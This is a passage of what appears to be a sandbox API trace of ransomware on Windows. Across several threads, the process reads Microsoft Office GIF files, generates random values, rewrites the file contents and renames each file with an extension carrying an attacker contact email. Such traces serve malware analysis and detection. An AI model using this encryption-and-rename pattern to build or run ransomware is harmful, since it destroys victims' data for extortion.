lpNumberOfBytesWritten=0x959fcd8, lpOverlapped=0x0 | out: lpBuffer=0x971f918*, lpNumberOfBytesWritten=0x959fcd8*=0x63, lpOverlapped=0x0) returned 1 [0066.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410a0 [0066.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441528 [0066.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441528) returned 1 [0066.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x971f918) returned 1 [0066.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96b1ea8) returned 1 [0066.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418c80) returned 1 [0066.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4028d0) returned 1 [0066.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x4028d0 [0066.271] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.271] WriteFile (hFile=0x824, lpBuffer=0x12d7a568, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x959fd40, lpOverlapped=0x0) Thread: id = 1144 os_tid = 0xe0c [0059.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif")) returned 0x20 [0063.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", dwFileAttributes=0x20) returned 1 [0063.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb9c [0063.789] GetFileSizeEx (in: hFile=0xb9c, lpFileSize=0xbf5ff18 | out: lpFileSize=0xbf5ff18*=2407) returned 1 [0063.789] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x963, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.789] ReadFile (in: hFile=0xb9c, lpBuffer=0xbf5fe9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbf5fe98, lpOverlapped=0x0 | out: lpBuffer=0xbf5fe9c*, lpNumberOfBytesRead=0xbf5fe98*=0x4, lpOverlapped=0x0) returned 1 [0063.790] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05160 [0063.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05188 [0063.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05250 [0063.790] NtQuerySystemTime (in: CurrentTime=0xbf5fe78 | out: CurrentTime=0xbf5fe78*=132174898277652000) returned 0x0 [0063.790] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x440ebad5 [0063.790] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x7f20c98d [0063.790] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x5be93ae4 [0063.790] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x47872ccd [0063.790] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x26afea9 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x4f66a6b0 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x1ef26edf [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0xea7740e [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x11a1d6fd [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x4a99019a [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x61f9663c [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x465dc058 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x2a900f40 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0xfb1d3c8 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x52bdc5c6 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x7835376c [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x714b825 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x5d100d43 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x74ea449b [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x612d363 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x4f01ecd3 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x417ab8a7 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x69511095 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x46da4170 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x53682c41 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x68b17a2d [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x4c078285 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x1b78b045 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x2c3ad66f [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x46db1fc3 [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x6dccfb8f [0063.791] RtlRandomEx (in: Seed=0xbf5fe84 | out: Seed=0xbf5fe84) returned 0x51dd4438 [0063.802] ReadFile (in: hFile=0xb9c, lpBuffer=0x9713110, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0xbf5fe74, lpOverlapped=0x0 | out: lpBuffer=0x9713110*, lpNumberOfBytesRead=0xbf5fe74*=0x967, lpOverlapped=0x0) returned 1 [0063.802] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.803] WriteFile (in: hFile=0xb9c, lpBuffer=0x5e54068*, nNumberOfBytesToWrite=0x967, lpNumberOfBytesWritten=0xbf5fe70, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesWritten=0xbf5fe70*=0x967, lpOverlapped=0x0) returned 1 [0063.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05160 [0063.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05250 [0063.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05250) returned 1 [0063.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e54068) returned 1 [0063.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9713110) returned 1 [0063.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45da0) returned 1 [0063.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0063.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee70 [0063.804] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.804] WriteFile (in: hFile=0xb9c, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xbf5fed8, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xbf5fed8*=0x109, lpOverlapped=0x0) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05250) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05160) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05188) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d052a0) returned 1 [0063.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05200) returned 1 [0063.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4000 [0063.806] wcscpy (in: _Dest=0x4d4000, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" [0063.806] wcscat (in: _Dest=0x4d4000, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0063.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xbf5fe90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de0f8 [0063.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de0f8) returned 1 [0063.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4997f0) returned 1 [0063.807] NtQueryInformationFile (in: FileHandle=0xb9c, IoStatusBlock=0xbf5fe9c, FileInformation=0xbf5fe74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xbf5fe9c, FileInformation=0xbf5fe74) returned 0x0 [0063.807] NtSetInformationFile (FileHandle=0xb9c, IoStatusBlock=0xbf5fe9c, FileInformation=0xbf5fe74, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.809] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0063.809] FlushFileBuffers (hFile=0xb9c) returned 1 [0066.228] CloseHandle (hObject=0xb9c) Thread: id = 1145 os_tid = 0xef8 [0059.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif")) returned 0x20 [0064.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF", dwFileAttributes=0x20) returned 1 [0064.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1350 [0064.030] GetFileSizeEx (in: hFile=0x1350, lpFileSize=0xc9dfeb8 | out: lpFileSize=0xc9dfeb8*=240) returned 1 [0064.030] SetFilePointerEx (in: hFile=0x1350, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.030] ReadFile (in: hFile=0x1350, lpBuffer=0xc9dfe3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc9dfe38, lpOverlapped=0x0 | out: lpBuffer=0xc9dfe3c*, lpNumberOfBytesRead=0xc9dfe38*=0x4, lpOverlapped=0x0) returned 1 [0064.031] SetFilePointerEx (in: hFile=0x1350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0064.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a88 [0064.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b50 [0064.031] NtQuerySystemTime (in: CurrentTime=0xc9dfe18 | out: CurrentTime=0xc9dfe18*=132174898280148000) returned 0x0 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x133483c8 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0xd68798a [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x773d5596 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x7493c990 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x543b3bbd [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x560b7cf3 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x608f6789 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x3e1cfec5 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x3718398a [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x7430e56c [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x2eee224b [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x7f0275e [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x790b732c [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x6008c346 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x52085bdc [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x7b16ff4f [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x26e7cab [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x6ac7aad6 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x1e142a3a [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x3280e947 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x5878f711 [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x518ca09b [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x3db05c0c [0064.031] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x23afd65e [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x26ca4157 [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x7d8abeb4 [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x4cff0b01 [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x7a7768e7 [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x44479c39 [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x466e5eac [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x3f19b090 [0064.032] RtlRandomEx (in: Seed=0xc9dfe24 | out: Seed=0xc9dfe24) returned 0x4c25b817 [0064.043] ReadFile (in: hFile=0x1350, lpBuffer=0x12d6d9a0, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0xc9dfe14, lpOverlapped=0x0 | out: lpBuffer=0x12d6d9a0*, lpNumberOfBytesRead=0xc9dfe14*=0xf0, lpOverlapped=0x0) returned 1 [0064.043] SetFilePointerEx (in: hFile=0x1350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.043] WriteFile (in: hFile=0x1350, lpBuffer=0x12dab810*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xc9dfe10, lpOverlapped=0x0 | out: lpBuffer=0x12dab810*, lpNumberOfBytesWritten=0xc9dfe10*=0xf0, lpOverlapped=0x0) returned 1 [0065.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d050c0 [0065.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052f0 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d052f0) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dab810) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d6d9a0) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419040) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0065.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceab0 [0065.472] SetFilePointerEx (in: hFile=0x1350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.472] WriteFile (hFile=0x1350, lpBuffer=0x12d7c2d8, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xc9dfe78, lpOverlapped=0x0) Thread: id = 1146 os_tid = 0xf48 [0059.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif")) returned 0x20 [0064.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF", dwFileAttributes=0x20) Thread: id = 1147 os_tid = 0xf58 [0059.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif")) returned 0x20 [0064.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF", dwFileAttributes=0x20) returned 1 [0064.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x135c [0064.050] GetFileSizeEx (in: hFile=0x135c, lpFileSize=0xb81fbd0 | out: lpFileSize=0xb81fbd0*=663) returned 1 [0064.050] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x293, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.050] ReadFile (in: hFile=0x135c, lpBuffer=0xb81fb54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb81fb50, lpOverlapped=0x0 | out: lpBuffer=0xb81fb54*, lpNumberOfBytesRead=0xb81fb50*=0x4, lpOverlapped=0x0) returned 1 [0064.051] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0064.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b50 [0064.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460df8 [0064.051] NtQuerySystemTime (in: CurrentTime=0xb81fb30 | out: CurrentTime=0xb81fb30*=132174898280304000) returned 0x0 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x594ef6a0 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x7879e1cc [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x32bb3d83 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x63996109 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x2342442 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x60bde46c [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x347abb37 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x76de716c [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x38138820 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x1a9a0017 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x74060cac [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x78039e2c [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x7f250794 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x57a80ed1 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x3b698a40 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x72c9f202 [0064.051] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x548fde1b [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x49fde789 [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x11c66f6b [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x4e89631b [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x6b274257 [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x956bb7b [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x17fab67a [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x460922dd [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x1dcf214d [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x6151efe [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x3e08f141 [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x702eb02e [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0xf65774a [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x787ed94f [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x775efbac [0064.052] RtlRandomEx (in: Seed=0xb81fb3c | out: Seed=0xb81fb3c) returned 0x440ce058 [0064.063] ReadFile (in: hFile=0x135c, lpBuffer=0x12db8018, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0xb81fb2c, lpOverlapped=0x0 | out: lpBuffer=0x12db8018*, lpNumberOfBytesRead=0xb81fb2c*=0x297, lpOverlapped=0x0) returned 1 [0064.064] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.064] WriteFile (in: hFile=0x135c, lpBuffer=0x195e30f8*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0xb81fb28, lpOverlapped=0x0 | out: lpBuffer=0x195e30f8*, lpNumberOfBytesWritten=0xb81fb28*=0x297, lpOverlapped=0x0) returned 1 [0065.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052c8 [0065.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d051b0 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d051b0) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195e30f8) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12db8018) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419388) returned 1 [0065.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4026d8) returned 1 [0065.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cea50 [0065.473] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.473] WriteFile (hFile=0x135c, lpBuffer=0x12d7c1c0, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xb81fb90, lpOverlapped=0x0) Thread: id = 1148 os_tid = 0xe6c [0059.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif")) returned 0x20 [0064.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF", dwFileAttributes=0x20) Thread: id = 1149 os_tid = 0xf98 [0059.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif")) returned 0x20 [0064.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF", dwFileAttributes=0x20) returned 1 [0064.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft 